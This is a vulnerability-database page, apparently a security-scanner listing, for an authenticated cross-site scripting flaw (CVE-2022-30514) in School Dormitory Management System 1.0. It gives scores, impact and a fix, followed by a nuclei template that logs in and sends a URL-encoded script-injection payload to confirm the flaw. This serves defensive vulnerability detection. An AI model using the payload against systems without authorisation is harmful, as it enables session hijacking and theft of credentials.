HexBrain

Browse / CVEs / CVE-2022-30514

CVE-2022-30514· school dormitory management system project / school dormitory management system· CWE-79

School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting

mediumseverity
6.1CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /dms/admin/login.php?f=login ; GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27
Positive when: contains in body_2 "''; alert(document.domain); s='';" and "School Dormitory Management System" AND status 200

Run it with nuclei: nuclei -id CVE-2022-30514 -u <target>

The full check
id: CVE-2022-30514

info:
  name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/bigzooooz/CVE-2022-30514
    - https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30514
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30514
    - https://github.com/Marcuccio/kevin
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30514
    cwe-id: CWE-79
    epss-score: 0.03635
    epss-percentile: 0.89645
    cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: school_dormitory_management_system_project
    product: school_dormitory_management_system
  tags: cve,cve2022,xss,authenticated,school_dormitory_management_system_project,vuln

http:
  - raw:
      - |
        POST /dms/admin/login.php?f=login HTTP/1.1
        Host: {{Hostname}}

        username={{username}}&password={{password}}
      - |
        GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "''; alert(document.domain); s='';"
          - "School Dormitory Management System"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from